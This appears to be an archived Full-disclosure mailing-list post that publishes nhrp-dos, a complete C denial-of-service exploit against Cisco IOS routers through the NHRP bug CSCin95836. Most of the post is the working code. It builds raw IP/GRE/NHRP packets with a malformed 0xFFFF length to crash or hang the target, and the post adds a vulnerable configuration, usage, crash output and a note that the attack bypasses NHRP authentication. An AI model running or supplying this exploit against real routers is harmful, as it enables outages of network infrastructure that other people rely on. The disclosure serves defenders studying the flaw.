SecurityvulnsSECURITYVULNS:DOC:17729[Full-disclosure] Cisco NHRP denial of service (cisco-sa-20070808-nhrp)
Hi,
this exploit/DoS addresses the recent NHRP bug in Cisco IOS (CSCin95836 /
cisco-sa-20070808-nhrp). The original advisory can be found here:
http://www.cisco.com/en/US/products/products_security_advisory09186a008089963b.shtml
Exploit/DoS:
//
/ /
/ nhrp-dos - Copyright by Martin Kluge, <[email protected]> /
/ /
/ Feel free to modify this code as you like, as long as you include the /
/ above copyright statement. /
/ /
/ Please use this code only to check your OWN cisco routers. /
/ /
/ Cisco bug ID: CSCin95836 /
/ /
/ The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used /
/ by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) /
/ subnetwork to determine the internetworking layer address and NBMA /
/ subnetwork addresses of the NBMA next hop towards the destination. /
/ NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with /
/ IPSEC. /
/ /
/ URLs: /
/ - [RFC2332/NHRP] http://rfc.net/rfc2332.html /
/ - [RFC1701/GRE] http://rfc.net/rfc1701.html /
/ - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno /
/ logies_white_paper09186a008018983e.shtml /
/ /
/ This code was only tested on FreeBSD and Linux, no warranty is or will be /
/ provided. /
/ /
/ Vulnerable images (tested): /
/ /
/ - c7100-jk9o3s-mz.123-12e.bin /
/ - c7200-jk8o3s-mz.122-40.bin /
/ - c3640-js-mz.122-15.T17.bin /
/ (and many other IOS versions on different platforms) /
/ /
/ Vulnerable configuration on cisco IOS: /
/ /
/ interface Tunnel0 /
/ ip address 10.0.0.1 255.255.255.128 /
/ no ip redirects /
/ no ip proxy-arp /
/ ip mtu 1464 /
/ ip nhrp authentication mysecret /
/ ip nhrp network-id 1000 /
/ ip nhrp map multicast dynamic /
/ ip nhrp server-only /
/ ip nhrp holdtime 30 /
/ tunnel source FastEthernet0/0 /
/ tunnel mode gre multipoint /
/ tunnel key 123456789 /
/ /
/ This exploit works even if "ip nhrp authentication" is configured on the /
/ cisco router. You can also specify a GRE key (use 0 to disable this /
/ feature) if the GRE tunnel is protected. You don't need to know the /
/ NHRP network id (or any other configuration details, except the GRE key if /
/ it is set on the target router). /
/ /
/ NOTE: The exploit only seems to work, if a NHRP session between the target /
/ router and at least one client is established. /
/ /
/ Code injection is also possible (thanks to sky for pointing this out), but /
/ it is not very easy and depends heavily on the IOS version / platform. /
/ /
/ Example: /
/ root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 /
/ /
/ Router console output: /
/ /
/ -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 /
/ $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 /
/ <snip> /
/ EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 /
/ Cause 00000024 (Code 0x9): Breakpoint exception /
/ /
/ Writing crashinfo to bootflash:crashinfo_20070321-155011 /
/ === Flushing messages (16:50:12 CET Wed Mar 21 2007) === /
/ /
/ Router reboots or sometimes hangs ;) /
/ /
/ /
/ Workaround: Disable NHRP ;) /
/ /
/ I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help /
/ regarding this issue. /
/ /
/ Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, /
/ xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra /
/ and #infiniteVOID /
/ /
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
/* BSD */
#define _BSD
/* Header sizes */
#define IP_HDR_SIZE 20
#define GRE_HDR_SIZE 4
#define GRE_KEY_SIZE 4
#define NHRP_HDR_SIZE 62
/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);
/* Globals */
int sockfd;
int nhrp_req_id;
/* GRE header /
struct gre_h {
unsigned short flags; / GRE flags /
unsigned short ptype; / GRE protocol type /
unsigned int key; / GRE key */
};
/* NHRP header /
struct nhrp_h {
/ NHRP fixed header (20 bytes) /
struct {
unsigned short afn; / NHRP AFN /
unsigned short proto; / NHRP protocol type /
unsigned int snap; / NHRP SNAP /
unsigned short snapE:8; / NHRP SNAP /
unsigned short hops:8; / NHRP hop count /
unsigned short length; / NHRP total length /
unsigned short checksum; / NHRP checksum /
unsigned short mpoa_ext; / NHRP MPOA extensions /
unsigned short version:8; / NHRP version /
unsigned short type:8; / NHRP type /
unsigned short nbma_addr:8; / NHRP t/l of NBMA address /
unsigned short nbma_sub:8; / NHRP t/l of NBMA subaddr */
} fixed;
/* NHRP mandatory part */
struct {
unsigned short src_len:8; /* NHRP src protocol length */
unsigned short dst_len:8; /* NHRP dest protocol length */
unsigned short flags; /* NHRP flags */
unsigned int request_id; /* NHRP request ID */
unsigned long client_nbma; /* NHRP client NBMA address */
unsigned long client_nbma_sub; /* NHRP client NBMA subaddr */
unsigned long client_pro_addr; /* NHRP client protocol addr */
} mand;
/* NHRP client information entries (CIE) */
union {
struct {
unsigned short code:8; /* NHRP code */
unsigned short pref_len:8; /* NHRP prefix length */
unsigned short reserved; /* NHRP reserved */
unsigned short mtu; /* NHRP MTU */
unsigned short holding_time; /* NHRP holding time */
unsigned short len_client:8; /* NHRP t/l cl addr */
unsigned short len_client_sub:8;/* NHRP t/l cl sub */
unsigned short len_client_pro:8;/* NHRP t/l cl pro */
unsigned short preference:8; /* NHRP preference */
unsigned short ext; /* NHRP extension */
} cie;
};
};
/* Main function */
int main (int argc, char *argv) {
/ Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <[email protected]>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}
/* Check UID */
if(getuid() != 0 && geteuid() != 0) {
fprintf(stderr, "Error: Please run as root!\n");
exit(EXIT_FAILURE);
}
/* Open a socket */
sockfd = open_socket();
/* Send DoS packet */
send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));
/* Close the socket */
close_socket(sockfd);
exit(EXIT_SUCCESS);
}
/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;
/* Open the socket */
fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(fd < 0) {
fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
exit(EXIT_FAILURE);
}
/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
/* Otherwise it would be done by the kernel. */
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#ifndef _BSD
if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#endif
return(fd);
}
/* Close the socket */
int close_socket (int fd)
{
return(close(fd));
}
/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
struct in_addr addr;
struct hostent *host_ent;
if((addr.s_addr = inet_addr(host)) == -1) {
if(!(host_ent = gethostbyname(host)))
return(-1);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
int tmp_fd;
struct ifreq ifr;
struct sockaddr_in *sin;
tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);
if(tmp_fd < 0) {
fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
sin = (struct sockaddr_in *) &ifr.ifr_addr;
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_addr.sa_family = AF_INET;
if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
exit(EXIT_FAILURE);
}
close(tmp_fd);
return(sin->sin_addr.s_addr);
}
/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
unsigned long gre_key)
{
struct ip ip_hdr;
struct ip *iphdr;
struct gre_h gre_hdr;
struct nhrp_h nhrp_hdr;
struct sockaddr_in sin;
unsigned int bytes = 0;
int GRE_SIZE = GRE_HDR_SIZE;
/* Packet buffer */
unsigned char *buf;
if(gre_key!=0)
GRE_SIZE+=GRE_KEY_SIZE;
/* Allocate some memory */
buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);
if(buf < 0) {
fprintf(stderr, "Error: send_dos: malloc failed.\n");
exit(EXIT_FAILURE);
}
/* Increment NHRP request ID */
nhrp_req_id++;
/* IPv4 Header */
ip_hdr.ip_v = 4; /* IP version */
ip_hdr.ip_hl = 5; /* IP header length */
ip_hdr.ip_tos = 0x00; /* IP ToS */
ip_hdr.ip_len = htons(IP_HDR_SIZE +
GRE_SIZE +
NHRP_HDR_SIZE
); /* IP total length */
ip_hdr.ip_id = 0; /* IP identification */
ip_hdr.ip_off = 0; /* IP frag offset */
ip_hdr.ip_ttl = 64; /* IP time to live */
ip_hdr.ip_p = IPPROTO_GRE; /* IP protocol */
ip_hdr.ip_sum = 0; /* IP checksum */
ip_hdr.ip_src.s_addr = src_ip; /* IP source */
ip_hdr.ip_dst.s_addr = dst_ip; /* IP destination */
/* GRE header */
if(gre_key != 0) {
gre_hdr.flags = htons(0x2000); /* GRE flags */
gre_hdr.key = htonl(gre_key); /* GRE key */
} else {
gre_hdr.flags = 0;
}
gre_hdr.ptype = htons(0x2001); /* GRE type (NHRP) */
/* NHRP fixed header */
nhrp_hdr.fixed.afn = htons(0x0001); /* NHRP AFN */
nhrp_hdr.fixed.proto = htons(0x0800); /* NHRP protocol type */
nhrp_hdr.fixed.snap = 0; /* NHRP SNAP */
nhrp_hdr.fixed.snapE = 0; /* NHRP SNAP */
nhrp_hdr.fixed.hops = 0xFF; /* NHRP hop count */
/* DoS -> Set length to 0xFFFF */
nhrp_hdr.fixed.length = htons(0xFFFF); /* NHRP length */
/* Checksum can be incorrect */
nhrp_hdr.fixed.checksum = 0; /* NHRP checksum */
nhrp_hdr.fixed.mpoa_ext = htons(0x0034); /* NHRP MPOA ext */
nhrp_hdr.fixed.version = 1; /* NHRP version */
nhrp_hdr.fixed.type = 3; /* NHRP type */
nhrp_hdr.fixed.nbma_addr= 4; /* NHRP NBMA t/l addr */
nhrp_hdr.fixed.nbma_sub = 0; /* NHRP NBMA t/l sub */
/* NHRP mandatory part */
nhrp_hdr.mand.src_len = 4; /* NHRP src proto len */
nhrp_hdr.mand.dst_len = 4; /* NHRP dst proto len */
nhrp_hdr.mand.flags = htons(0x8000); /* NHRP flags */
nhrp_hdr.mand.request_id = htonl(nhrp_req_id); /* NHRP request ID */
nhrp_hdr.mand.client_nbma = src_ip; /* NHRP client addr */
nhrp_hdr.mand.client_nbma_sub = 0; /* NHRP client sub */
nhrp_hdr.mand.client_pro_addr = 0; /* NHRP client proto */
/* NHRP client information entries (CIE) */
nhrp_hdr.cie.code = 0; /* NHRP code */
nhrp_hdr.cie.pref_len = 0xFF; /* NHRP prefix len */
nhrp_hdr.cie.reserved = 0x0000; /* NHRP reserved */
nhrp_hdr.cie.mtu = htons(1514); /* NHRP mtu */
nhrp_hdr.cie.holding_time = htons(30); /* NHRP holding time */
nhrp_hdr.cie.len_client = 0; /* NHRP t/l client */
nhrp_hdr.cie.len_client_sub = 0; /* NHRP t/l sub */
nhrp_hdr.cie.len_client_pro = 0; /* NHRP t/l pro */
nhrp_hdr.cie.preference = 0; /* NHRP preference */
nhrp_hdr.cie.ext = htons(0x8003); /* NHRP C/U/Type (ext)*/
/* Copy the IPv4 header to the buffer */
memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));
/* Copy the GRE header to the buffer */
memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));
/* Copy the NHRP header to the buffer */
memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
sizeof(nhrp_hdr));
/* Fix some BSD bugs */
#ifdef _BSD
iphdr = (struct ip *) buf;
iphdr->ip_len = ntohs(iphdr->ip_len);
iphdr->ip_off = ntohs(iphdr->ip_off);
#endif
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;
printf("\nnhrp-dos (c) by Martin Kluge <[email protected]>, 2007\n");
printf("------------------------------------------------\n");
printf("Sending DoS packet...");
/* Send the packet */
bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
(struct sockaddr *) &sin, sizeof(struct sockaddr));
printf("DONE (%d bytes)\n\n", bytes);
/* Free the buffer */
free(buf);
/* Return number of bytes */
return(bytes);
}
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